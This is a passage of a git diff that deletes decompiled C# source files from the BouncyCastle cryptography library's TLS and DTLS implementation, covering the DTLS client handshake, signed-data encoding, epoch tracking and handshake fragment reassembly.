mBuf.UpdateDigest(value); - } - mBuf = null; - } - - protected virtual void CheckTrackingHash(byte hashAlgorithm) - { - if (!mHashes.Contains(hashAlgorithm)) - { - IDigest value = TlsUtilities.CreateHash(hashAlgorithm); - mHashes[hashAlgorithm] = value; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DigestInputBuffer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DigestInputBuffer.cs deleted file mode 100644 index 8ef1798..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DigestInputBuffer.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class DigestInputBuffer : MemoryStream -{ - private class DigStream : BaseOutputStream - { - private readonly IDigest d; - - internal DigStream(IDigest d) - { - this.d = d; - } - - public override void WriteByte(byte b) - { - d.Update(b); - } - - public override void Write(byte[] buf, int off, int len) - { - d.BlockUpdate(buf, off, len); - } - } - - internal void UpdateDigest(IDigest d) - { - Streams.WriteBufTo(this, new DigStream(d)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DigitallySigned.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DigitallySigned.cs deleted file mode 100644 index 021bffa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DigitallySigned.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class DigitallySigned -{ - protected readonly SignatureAndHashAlgorithm mAlgorithm; - - protected readonly byte[] mSignature; - - public virtual SignatureAndHashAlgorithm Algorithm => mAlgorithm; - - public virtual byte[] Signature => mSignature; - - public DigitallySigned(SignatureAndHashAlgorithm algorithm, byte[] signature) - { - if (signature == null) - { - throw new ArgumentNullException("signature"); - } - mAlgorithm = algorithm; - mSignature = signature; - } - - public virtual void Encode(Stream output) - { - if (mAlgorithm != null) - { - mAlgorithm.Encode(output); - } - TlsUtilities.WriteOpaque16(mSignature, output); - } - - public static DigitallySigned Parse(TlsContext context, Stream input) - { - SignatureAndHashAlgorithm algorithm = null; - if (TlsUtilities.IsTlsV12(context)) - { - algorithm = SignatureAndHashAlgorithm.Parse(input); - } - byte[] signature = TlsUtilities.ReadOpaque16(input); - return new DigitallySigned(algorithm, signature); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsClientProtocol.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsClientProtocol.cs deleted file mode 100644 index b989b41..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsClientProtocol.cs +++ /dev/null @@ -1,567 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class DtlsClientProtocol : DtlsProtocol -{ - protected internal class ClientHandshakeState - { - internal TlsClient client = null; - - internal TlsClientContextImpl clientContext = null; - - internal TlsSession tlsSession = null; - - internal SessionParameters sessionParameters = null; - - internal SessionParameters.Builder sessionParametersBuilder = null; - - internal int[] offeredCipherSuites = null; - - internal IDictionary clientExtensions = null; - - internal IDictionary serverExtensions = null; - - internal byte[] selectedSessionID = null; - - internal bool resumedSession = false; - - internal bool secure_renegotiation = false; - - internal bool allowCertificateStatus = false; - - internal bool expectSessionTicket = false; - - internal TlsKeyExchange keyExchange = null; - - internal TlsAuthentication authentication = null; - - internal CertificateStatus certificateStatus = null; - - internal CertificateRequest certificateRequest = null; - - internal TlsCredentials clientCredentials = null; - } - - public DtlsClientProtocol(SecureRandom secureRandom) - : base(secureRandom) - { - } - - public virtual DtlsTransport Connect(TlsClient client, DatagramTransport transport) - { - if (client == null) - { - throw new ArgumentNullException("client"); - } - if (transport == null) - { - throw new ArgumentNullException("transport"); - } - SecurityParameters securityParameters = new SecurityParameters(); - securityParameters.entity = 1; - ClientHandshakeState clientHandshakeState = new ClientHandshakeState(); - clientHandshakeState.client = client; - clientHandshakeState.clientContext = new TlsClientContextImpl(mSecureRandom, securityParameters); - securityParameters.clientRandom = TlsProtocol.CreateRandomBlock(client.ShouldUseGmtUnixTime(), clientHandshakeState.clientContext.NonceRandomGenerator); - client.Init(clientHandshakeState.clientContext); - DtlsRecordLayer recordLayer = new DtlsRecordLayer(transport, clientHandshakeState.clientContext, client, 22); - TlsSession sessionToResume = clientHandshakeState.client.GetSessionToResume(); - if (sessionToResume != null && sessionToResume.IsResumable) - { - SessionParameters sessionParameters = sessionToResume.ExportSessionParameters(); - if (sessionParameters != null && sessionParameters.IsExtendedMasterSecret) - { - clientHandshakeState.tlsSession = sessionToResume; - clientHandshakeState.sessionParameters = sessionParameters; - } - } - try - { - return ClientHandshake(clientHandshakeState, recordLayer); - } - catch (TlsFatalAlert tlsFatalAlert) - { - AbortClientHandshake(clientHandshakeState, recordLayer, tlsFatalAlert.AlertDescription); - throw tlsFatalAlert; - } - catch (IOException ex) - { - AbortClientHandshake(clientHandshakeState, recordLayer, 80); - throw ex; - } - catch (Exception alertCause) - { - AbortClientHandshake(clientHandshakeState, recordLayer, 80); - throw new TlsFatalAlert(80, alertCause); - } - finally - { - securityParameters.Clear(); - } - } - - internal virtual void AbortClientHandshake(ClientHandshakeState state, DtlsRecordLayer recordLayer, byte alertDescription) - { - recordLayer.Fail(alertDescription); - InvalidateSession(state); - } - - internal virtual DtlsTransport ClientHandshake(ClientHandshakeState state, DtlsRecordLayer recordLayer) - { - SecurityParameters securityParameters = state.clientContext.SecurityParameters; - DtlsReliableHandshake dtlsReliableHandshake = new DtlsReliableHandshake(state.clientContext, recordLayer); - byte[] array = GenerateClientHello(state, state.client); - recordLayer.SetWriteVersion(ProtocolVersion.DTLSv10); - dtlsReliableHandshake.SendMessage(1, array); - DtlsReliableHandshake.Message message = dtlsReliableHandshake.ReceiveMessage(); - while (message.Type == 3) - { - ProtocolVersion readVersion = recordLayer.ReadVersion; - ProtocolVersion clientVersion = state.clientContext.ClientVersion; - if (!readVersion.IsEqualOrEarlierVersionOf(clientVersion)) - { - throw new TlsFatalAlert(47); - } - recordLayer.ReadVersion = null; - byte[] cookie = ProcessHelloVerifyRequest(state, message.Body); - byte[] body = PatchClientHelloWithCookie(array, cookie); - dtlsReliableHandshake.ResetHandshakeMessagesDigest(); - dtlsReliableHandshake.SendMessage(1, body); - message = dtlsReliableHandshake.ReceiveMessage(); - } - if (message.Type == 2) - { - ProtocolVersion readVersion2 = recordLayer.ReadVersion; - ReportServerVersion(state, readVersion2); - recordLayer.SetWriteVersion(readVersion2); - ProcessServerHello(state, message.Body); - dtlsReliableHandshake.NotifyHelloComplete(); - DtlsProtocol.ApplyMaxFragmentLengthExtension(recordLayer, securityParameters.maxFragmentLength); - if (state.resumedSession) - { - securityParameters.masterSecret = Arrays.Clone(state.sessionParameters.MasterSecret); - recordLayer.InitPendingEpoch(state.client.GetCipher()); - byte[] expected_verify_data = TlsUtilities.CalculateVerifyData(state.clientContext, "server finished", TlsProtocol.GetCurrentPrfHash(state.clientContext, dtlsReliableHandshake.HandshakeHash, null)); - ProcessFinished(dtlsReliableHandshake.ReceiveMessageBody(20), expected_verify_data); - byte[] body2 = TlsUtilities.CalculateVerifyData(state.clientContext, "client finished", TlsProtocol.GetCurrentPrfHash(state.clientContext, dtlsReliableHandshake.HandshakeHash, null)); - dtlsReliableHandshake.SendMessage(20, body2); - dtlsReliableHandshake.Finish(); - state.clientContext.SetResumableSession(state.tlsSession); - state.client.NotifyHandshakeComplete(); - return new DtlsTransport(recordLayer); - } - InvalidateSession(state); - if (state.selectedSessionID.Length > 0) - { - state.tlsSession = new TlsSessionImpl(state.selectedSessionID, null); - } - message = dtlsReliableHandshake.ReceiveMessage(); - if (message.Type == 23) - { - ProcessServerSupplementalData(state, message.Body); - message = dtlsReliableHandshake.ReceiveMessage(); - } - else - { - state.client.ProcessServerSupplementalData(null); - } - state.keyExchange = state.client.GetKeyExchange(); - state.keyExchange.Init(state.clientContext); - Certificate certificate = null; - if (message.Type == 11) - { - certificate = ProcessServerCertificate(state, message.Body); - message = dtlsReliableHandshake.ReceiveMessage(); - } - else - { - state.keyExchange.SkipServerCredentials(); - } - if (certificate == null || certificate.IsEmpty) - { - state.allowCertificateStatus = false; - } - if (message.Type == 22) - { - ProcessCertificateStatus(state, message.Body); - message = dtlsReliableHandshake.ReceiveMessage(); - } - if (message.Type == 12) - { - ProcessServerKeyExchange(state, message.Body); - message = dtlsReliableHandshake.ReceiveMessage(); - } - else - { - state.keyExchange.SkipServerKeyExchange(); - } - if (message.Type == 13) - { - ProcessCertificateRequest(state, message.Body); - TlsUtilities.TrackHashAlgorithms(dtlsReliableHandshake.HandshakeHash, state.certificateRequest.SupportedSignatureAlgorithms); - message = dtlsReliableHandshake.ReceiveMessage(); - } - if (message.Type == 14) - { - if (message.Body.Length != 0) - { - throw new TlsFatalAlert(50); - } - dtlsReliableHandshake.HandshakeHash.SealHashAlgorithms(); - IList clientSupplementalData = state.client.GetClientSupplementalData(); - if (clientSupplementalData != null) - { - byte[] body3 = DtlsProtocol.GenerateSupplementalData(clientSupplementalData); - dtlsReliableHandshake.SendMessage(23, body3); - } - if (state.certificateRequest != null) - { - state.clientCredentials = state.authentication.GetClientCredentials(state.certificateRequest); - Certificate certificate2 = null; - if (state.clientCredentials != null) - { - certificate2 = state.clientCredentials.Certificate; - } - if (certificate2 == null) - { - certificate2 = Certificate.EmptyChain; - } - byte[] body4 = DtlsProtocol.GenerateCertificate(certificate2); - dtlsReliableHandshake.SendMessage(11, body4); - } - if (state.clientCredentials != null) - { - state.keyExchange.ProcessClientCredentials(state.clientCredentials); - } - else - { - state.keyExchange.SkipClientCredentials(); - } - byte[] body5 = GenerateClientKeyExchange(state); - dtlsReliableHandshake.SendMessage(16, body5); - TlsHandshakeHash tlsHandshakeHash = dtlsReliableHandshake.PrepareToFinish(); - securityParameters.sessionHash = TlsProtocol.GetCurrentPrfHash(state.clientContext, tlsHandshakeHash, null); - TlsProtocol.EstablishMasterSecret(state.clientContext, state.keyExchange); - recordLayer.InitPendingEpoch(state.client.GetCipher()); - if (state.clientCredentials != null && state.clientCredentials is TlsSignerCredentials) - { - TlsSignerCredentials tlsSignerCredentials = (TlsSignerCredentials)state.clientCredentials; - SignatureAndHashAlgorithm signatureAndHashAlgorithm = TlsUtilities.GetSignatureAndHashAlgorithm(state.clientContext, tlsSignerCredentials); - byte[] hash = ((signatureAndHashAlgorithm != null) ? tlsHandshakeHash.GetFinalHash(signatureAndHashAlgorithm.Hash) : securityParameters.SessionHash); - byte[] signature = tlsSignerCredentials.GenerateCertificateSignature(hash); - DigitallySigned certificateVerify = new DigitallySigned(signatureAndHashAlgorithm, signature); - byte[] body6 = GenerateCertificateVerify(state, certificateVerify); - dtlsReliableHandshake.SendMessage(15, body6); - } - byte[] body7 = TlsUtilities.CalculateVerifyData(state.clientContext, "client finished", TlsProtocol.GetCurrentPrfHash(state.clientContext, dtlsReliableHandshake.HandshakeHash, null)); - dtlsReliableHandshake.SendMessage(20, body7); - if (state.expectSessionTicket) - { - message = dtlsReliableHandshake.ReceiveMessage(); - if (message.Type != 4) - { - throw new TlsFatalAlert(10); - } - ProcessNewSessionTicket(state, message.Body); - } - byte[] expected_verify_data2 = TlsUtilities.CalculateVerifyData(state.clientContext, "server finished", TlsProtocol.GetCurrentPrfHash(state.clientContext, dtlsReliableHandshake.HandshakeHash, null)); - ProcessFinished(dtlsReliableHandshake.ReceiveMessageBody(20), expected_verify_data2); - dtlsReliableHandshake.Finish(); - if (state.tlsSession != null) - { - state.sessionParameters = new SessionParameters.Builder().SetCipherSuite(securityParameters.CipherSuite).SetCompressionAlgorithm(securityParameters.CompressionAlgorithm).SetExtendedMasterSecret(securityParameters.IsExtendedMasterSecret) - .SetMasterSecret(securityParameters.MasterSecret) - .SetPeerCertificate(certificate) - .SetPskIdentity(securityParameters.PskIdentity) - .SetSrpIdentity(securityParameters.SrpIdentity) - .SetServerExtensions(state.serverExtensions) - .Build(); - state.tlsSession = TlsUtilities.ImportSession(state.tlsSession.SessionID, state.sessionParameters); - state.clientContext.SetResumableSession(state.tlsSession); - } - state.client.NotifyHandshakeComplete(); - return new DtlsTransport(recordLayer); - } - throw new TlsFatalAlert(10); - } - throw new TlsFatalAlert(10); - } - - protected virtual byte[] GenerateCertificateVerify(ClientHandshakeState state, DigitallySigned certificateVerify) - { - MemoryStream memoryStream = new MemoryStream(); - certificateVerify.Encode(memoryStream); - return memoryStream.ToArray(); - } - - protected virtual byte[] GenerateClientHello(ClientHandshakeState state, TlsClient client) - { - ProtocolVersion clientVersion = client.ClientVersion; - if (!clientVersion.IsDtls) - { - throw new TlsFatalAlert(80); - } - TlsClientContextImpl clientContext = state.clientContext; - clientContext.SetClientVersion(clientVersion); - SecurityParameters securityParameters = clientContext.SecurityParameters; - byte[] array = TlsUtilities.EmptyBytes; - if (state.tlsSession != null) - { - array = state.tlsSession.SessionID; - if (array == null || array.Length > 32) - { - array = TlsUtilities.EmptyBytes; - } - } - bool isFallback = client.IsFallback; - state.offeredCipherSuites = client.GetCipherSuites(); - if (array.Length > 0 && state.sessionParameters != null && (!state.sessionParameters.IsExtendedMasterSecret || !Arrays.Contains(state.offeredCipherSuites, state.sessionParameters.CipherSuite) || state.sessionParameters.CompressionAlgorithm != 0)) - { - array = TlsUtilities.EmptyBytes; - } - state.clientExtensions = TlsExtensionsUtilities.EnsureExtensionsInitialised(client.GetClientExtensions()); - TlsExtensionsUtilities.AddExtendedMasterSecretExtension(state.clientExtensions); - MemoryStream memoryStream = new MemoryStream(); - TlsUtilities.WriteVersion(clientVersion, memoryStream); - memoryStream.Write(securityParameters.ClientRandom, 0, securityParameters.ClientRandom.Length); - TlsUtilities.WriteOpaque8(array, memoryStream); - TlsUtilities.WriteOpaque8(TlsUtilities.EmptyBytes, memoryStream); - byte[] extensionData = TlsUtilities.GetExtensionData(state.clientExtensions, 65281); - bool flag = null == extensionData; - bool flag2 = !Arrays.Contains(state.offeredCipherSuites, 255); - if (flag && flag2) - { - state.offeredCipherSuites = Arrays.Append(state.offeredCipherSuites, 255); - } - if (isFallback && !Arrays.Contains(state.offeredCipherSuites, 22016)) - { - state.offeredCipherSuites = Arrays.Append(state.offeredCipherSuites, 22016); - } - TlsUtilities.WriteUint16ArrayWithUint16Length(state.offeredCipherSuites, memoryStream); - byte[] uints = new byte[1]; - TlsUtilities.WriteUint8ArrayWithUint8Length(uints, memoryStream); - TlsProtocol.WriteExtensions(memoryStream, state.clientExtensions); - return memoryStream.ToArray(); - } - - protected virtual byte[] GenerateClientKeyExchange(ClientHandshakeState state) - { - MemoryStream memoryStream = new MemoryStream(); - state.keyExchange.GenerateClientKeyExchange(memoryStream); - return memoryStream.ToArray(); - } - - protected virtual void InvalidateSession(ClientHandshakeState state) - { - if (state.sessionParameters != null) - { - state.sessionParameters.Clear(); - state.sessionParameters = null; - } - if (state.tlsSession != null) - { - state.tlsSession.Invalidate(); - state.tlsSession = null; - } - } - - protected virtual void ProcessCertificateRequest(ClientHandshakeState state, byte[] body) - { - if (state.authentication == null) - { - throw new TlsFatalAlert(40); - } - MemoryStream memoryStream = new MemoryStream(body, writable: false); - state.certificateRequest = CertificateRequest.Parse(state.clientContext, memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - state.keyExchange.ValidateCertificateRequest(state.certificateRequest); - } - - protected virtual void ProcessCertificateStatus(ClientHandshakeState state, byte[] body) - { - if (!state.allowCertificateStatus) - { - throw new TlsFatalAlert(10); - } - MemoryStream memoryStream = new MemoryStream(body, writable: false); - state.certificateStatus = CertificateStatus.Parse(memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - } - - protected virtual byte[] ProcessHelloVerifyRequest(ClientHandshakeState state, byte[] body) - { - MemoryStream memoryStream = new MemoryStream(body, writable: false); - ProtocolVersion protocolVersion = TlsUtilities.ReadVersion(memoryStream); - byte[] array = TlsUtilities.ReadOpaque8(memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - if (!protocolVersion.IsEqualOrEarlierVersionOf(state.clientContext.ClientVersion)) - { - throw new TlsFatalAlert(47); - } - if (!ProtocolVersion.DTLSv12.IsEqualOrEarlierVersionOf(protocolVersion) && array.Length > 32) - { - throw new TlsFatalAlert(47); - } - return array; - } - - protected virtual void ProcessNewSessionTicket(ClientHandshakeState state, byte[] body) - { - MemoryStream memoryStream = new MemoryStream(body, writable: false); - NewSessionTicket newSessionTicket = NewSessionTicket.Parse(memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - state.client.NotifyNewSessionTicket(newSessionTicket); - } - - protected virtual Certificate ProcessServerCertificate(ClientHandshakeState state, byte[] body) - { - MemoryStream memoryStream = new MemoryStream(body, writable: false); - Certificate certificate = Certificate.Parse(memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - state.keyExchange.ProcessServerCertificate(certificate); - state.authentication = state.client.GetAuthentication(); - state.authentication.NotifyServerCertificate(certificate); - return certificate; - } - - protected virtual void ProcessServerHello(ClientHandshakeState state, byte[] body) - { - SecurityParameters securityParameters = state.clientContext.SecurityParameters; - MemoryStream input = new MemoryStream(body, writable: false); - ProtocolVersion server_version = TlsUtilities.ReadVersion(input); - ReportServerVersion(state, server_version); - securityParameters.serverRandom = TlsUtilities.ReadFully(32, input); - state.selectedSessionID = TlsUtilities.ReadOpaque8(input); - if (state.selectedSessionID.Length > 32) - { - throw new TlsFatalAlert(47); - } - state.client.NotifySessionID(state.selectedSessionID); - state.resumedSession = state.selectedSessionID.Length > 0 && state.tlsSession != null && Arrays.AreEqual(state.selectedSessionID, state.tlsSession.SessionID); - int num = TlsUtilities.ReadUint16(input); - if (!Arrays.Contains(state.offeredCipherSuites, num) || num == 0 || CipherSuite.IsScsv(num) || !TlsUtilities.IsValidCipherSuiteForVersion(num, state.clientContext.ServerVersion)) - { - throw new TlsFatalAlert(47); - } - DtlsProtocol.ValidateSelectedCipherSuite(num, 47); - state.client.NotifySelectedCipherSuite(num); - byte b = TlsUtilities.ReadUint8(input); - if (b != 0) - { - throw new TlsFatalAlert(47); - } - state.client.NotifySelectedCompressionMethod(b); - state.serverExtensions = TlsProtocol.ReadExtensions(input); - securityParameters.extendedMasterSecret = TlsExtensionsUtilities.HasExtendedMasterSecretExtension(state.serverExtensions); - if (!securityParameters.IsExtendedMasterSecret && (state.resumedSession || state.client.RequiresExtendedMasterSecret())) - { - throw new TlsFatalAlert(40); - } - if (state.serverExtensions != null) - { - foreach (object key in state.serverExtensions.Keys) - { - int num2 = (int)key; - if (num2 != 65281) - { - if (TlsUtilities.GetExtensionData(state.clientExtensions, num2) == null) - { - throw new TlsFatalAlert(110); - } - _ = state.resumedSession; - } - } - } - byte[] extensionData = TlsUtilities.GetExtensionData(state.serverExtensions, 65281); - if (extensionData != null) - { - state.secure_renegotiation = true; - if (!Arrays.ConstantTimeAreEqual(extensionData, TlsProtocol.CreateRenegotiationInfo(TlsUtilities.EmptyBytes))) - { - throw new TlsFatalAlert(40); - } - } - state.client.NotifySecureRenegotiation(state.secure_renegotiation); - IDictionary dictionary = state.clientExtensions; - IDictionary dictionary2 = state.serverExtensions; - if (state.resumedSession) - { - if (num != state.sessionParameters.CipherSuite || b != state.sessionParameters.CompressionAlgorithm) - { - throw new TlsFatalAlert(47); - } - dictionary = null; - dictionary2 = state.sessionParameters.ReadServerExtensions(); - } - securityParameters.cipherSuite = num; - securityParameters.compressionAlgorithm = b; - if (dictionary2 != null && dictionary2.Count > 0) - { - bool flag = TlsExtensionsUtilities.HasEncryptThenMacExtension(dictionary2); - if (flag && !TlsUtilities.IsBlockCipherSuite(securityParameters.CipherSuite)) - { - throw new TlsFatalAlert(47); - } - securityParameters.encryptThenMac = flag; - securityParameters.maxFragmentLength = DtlsProtocol.EvaluateMaxFragmentLengthExtension(state.resumedSession, dictionary, dictionary2, 47); - securityParameters.truncatedHMac = TlsExtensionsUtilities.HasTruncatedHMacExtension(dictionary2); - state.allowCertificateStatus = !state.resumedSession && TlsUtilities.HasExpectedEmptyExtensionData(dictionary2, 5, 47); - state.expectSessionTicket = !state.resumedSession && TlsUtilities.HasExpectedEmptyExtensionData(dictionary2, 35, 47); - } - if (dictionary != null) - { - state.client.ProcessServerExtensions(dictionary2); - } - securityParameters.prfAlgorithm = TlsProtocol.GetPrfAlgorithm(state.clientContext, securityParameters.CipherSuite); - securityParameters.verifyDataLength = 12; - } - - protected virtual void ProcessServerKeyExchange(ClientHandshakeState state, byte[] body) - { - MemoryStream memoryStream = new MemoryStream(body, writable: false); - state.keyExchange.ProcessServerKeyExchange(memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - } - - protected virtual void ProcessServerSupplementalData(ClientHandshakeState state, byte[] body) - { - MemoryStream input = new MemoryStream(body, writable: false); - IList serverSupplementalData = TlsProtocol.ReadSupplementalDataMessage(input); - state.client.ProcessServerSupplementalData(serverSupplementalData); - } - - protected virtual void ReportServerVersion(ClientHandshakeState state, ProtocolVersion server_version) - { - TlsClientContextImpl clientContext = state.clientContext; - ProtocolVersion serverVersion = clientContext.ServerVersion; - if (serverVersion == null) - { - clientContext.SetServerVersion(server_version); - state.client.NotifyServerVersion(server_version); - } - else if (!serverVersion.Equals(server_version)) - { - throw new TlsFatalAlert(47); - } - } - - protected static byte[] PatchClientHelloWithCookie(byte[] clientHelloBody, byte[] cookie) - { - int num = 34; - int num2 = TlsUtilities.ReadUint8(clientHelloBody, num); - int num3 = num + 1 + num2; - int num4 = num3 + 1; - byte[] array = new byte[clientHelloBody.Length + cookie.Length]; - Array.Copy(clientHelloBody, 0, array, 0, num3); - TlsUtilities.CheckUint8(cookie.Length); - TlsUtilities.WriteUint8((byte)cookie.Length, array, num3); - Array.Copy(cookie, 0, array, num4, cookie.Length); - Array.Copy(clientHelloBody, num4, array, num4 + cookie.Length, clientHelloBody.Length - num4); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsEpoch.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsEpoch.cs deleted file mode 100644 index c561189..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsEpoch.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class DtlsEpoch -{ - private readonly DtlsReplayWindow mReplayWindow = new DtlsReplayWindow(); - - private readonly int mEpoch; - - private readonly TlsCipher mCipher; - - private long mSequenceNumber = 0L; - - internal TlsCipher Cipher => mCipher; - - internal int Epoch => mEpoch; - - internal DtlsReplayWindow ReplayWindow => mReplayWindow; - - internal long SequenceNumber => mSequenceNumber; - - internal DtlsEpoch(int epoch, TlsCipher cipher) - { - if (epoch < 0) - { - throw new ArgumentException("must be >= 0", "epoch"); - } - if (cipher == null) - { - throw new ArgumentNullException("cipher"); - } - mEpoch = epoch; - mCipher = cipher; - } - - internal long AllocateSequenceNumber() - { - return mSequenceNumber++; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsHandshakeRetransmit.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsHandshakeRetransmit.cs deleted file mode 100644 index 2d64b65..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsHandshakeRetransmit.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -internal interface DtlsHandshakeRetransmit -{ - void ReceivedHandshakeRecord(int epoch, byte[] buf, int off, int len); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsProtocol.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsProtocol.cs deleted file mode 100644 index 65ca0f2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsProtocol.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class DtlsProtocol -{ - protected readonly SecureRandom mSecureRandom; - - protected DtlsProtocol(SecureRandom secureRandom) - { - if (secureRandom == null) - { - throw new ArgumentNullException("secureRandom"); - } - mSecureRandom = secureRandom; - } - - protected virtual void ProcessFinished(byte[] body, byte[] expected_verify_data) - { - MemoryStream memoryStream = new MemoryStream(body, writable: false); - byte[] b = TlsUtilities.ReadFully(expected_verify_data.Length, memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - if (!Arrays.ConstantTimeAreEqual(expected_verify_data, b)) - { - throw new TlsFatalAlert(40); - } - } - - internal static void ApplyMaxFragmentLengthExtension(DtlsRecordLayer recordLayer, short maxFragmentLength) - { - if (maxFragmentLength >= 0) - { - if (!MaxFragmentLength.IsValid((byte)maxFragmentLength)) - { - throw new TlsFatalAlert(80); - } - int plaintextLimit = 1 << 8 + maxFragmentLength; - recordLayer.SetPlaintextLimit(plaintextLimit); - } - } - - protected static short EvaluateMaxFragmentLengthExtension(bool resumedSession, IDictionary clientExtensions, IDictionary serverExtensions, byte alertDescription) - { - short maxFragmentLengthExtension = TlsExtensionsUtilities.GetMaxFragmentLengthExtension(serverExtensions); - if (maxFragmentLengthExtension >= 0 && (!MaxFragmentLength.IsValid((byte)maxFragmentLengthExtension) || (!resumedSession && maxFragmentLengthExtension != TlsExtensionsUtilities.GetMaxFragmentLengthExtension(clientExtensions)))) - { - throw new TlsFatalAlert(alertDescription); - } - return maxFragmentLengthExtension; - } - - protected static byte[] GenerateCertificate(Certificate certificate) - { - MemoryStream memoryStream = new MemoryStream(); - certificate.Encode(memoryStream); - return memoryStream.ToArray(); - } - - protected static byte[] GenerateSupplementalData(IList supplementalData) - { - MemoryStream memoryStream = new MemoryStream(); - TlsProtocol.WriteSupplementalData(memoryStream, supplementalData); - return memoryStream.ToArray(); - } - - protected static void ValidateSelectedCipherSuite(int selectedCipherSuite, byte alertDescription) - { - switch (TlsUtilities.GetEncryptionAlgorithm(selectedCipherSuite)) - { - case 1: - case 2: - throw new TlsFatalAlert(alertDescription); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsReassembler.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsReassembler.cs deleted file mode 100644 index 47c826a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsReassembler.cs +++ /dev/null @@ -1,129 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class DtlsReassembler -{ - private class Range - { - private int mStart; - - private int mEnd; - - public int Start - { - get - { - return mStart; - } - set - { - mStart = value; - } - } - - public int End - { - get - { - return mEnd; - } - set - { - mEnd = value; - } - } - - internal Range(int start, int end) - { - mStart = start; - mEnd = end; - } - } - - private readonly byte mMsgType; - - private readonly byte[] mBody; - - private readonly IList mMissing = Platform.CreateArrayList(); - - internal byte MsgType => mMsgType; - - internal DtlsReassembler(byte msg_type, int length) - { - mMsgType = msg_type; - mBody = new byte[length]; - mMissing.Add(new Range(0, length)); - } - - internal byte[] GetBodyIfComplete() - { - if (mMissing.Count != 0) - { - return null; - } - return mBody; - } - - internal void ContributeFragment(byte msg_type, int length, byte[] buf, int off, int fragment_offset, int fragment_length) - { - int num = fragment_offset + fragment_length; - if (mMsgType != msg_type || mBody.Length != length || num > length) - { - return; - } - if (fragment_length == 0) - { - if (fragment_offset == 0 && mMissing.Count > 0) - { - Range range = (Range)mMissing[0]; - if (range.End == 0) - { - mMissing.RemoveAt(0); - } - } - return; - } - for (int i = 0; i < mMissing.Count; i++) - { - Range range2 = (Range)mMissing[i]; - if (range2.Start >= num) - { - break; - } - if (range2.End <= fragment_offset) - { - continue; - } - int num2 = System.Math.Max(range2.Start, fragment_offset); - int num3 = System.Math.Min(range2.End, num); - int length2 = num3 - num2; - Array.Copy(buf, off + num2 - fragment_offset, mBody, num2, length2); - if (num2 == range2.Start) - { - if (num3 == range2.End) - { - mMissing.RemoveAt(i--); - } - else - { - range2.Start = num3; - } - continue; - } - if (num3 != range2.End) - { - mMissing.Insert(++i, new Range(num3, range2.End)); - } - range2.End = num2; - } - } - - internal void Reset() - { - mMissing.Clear(); - mMissing.Add(new Range(0, mBody.Length)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsRecordLayer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsRecordLayer.cs deleted file mode 100644 index b569e65..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsRecordLayer.cs +++ /dev/null @@ -1,437 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities.Date; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class DtlsRecordLayer : DatagramTransport -{ - private const int RECORD_HEADER_LENGTH = 13; - - private const int MAX_FRAGMENT_LENGTH = 16384; - - private const long TCP_MSL = 120000L; - - private const long RETRANSMIT_TIMEOUT = 240000L; - - private readonly DatagramTransport mTransport; - - private 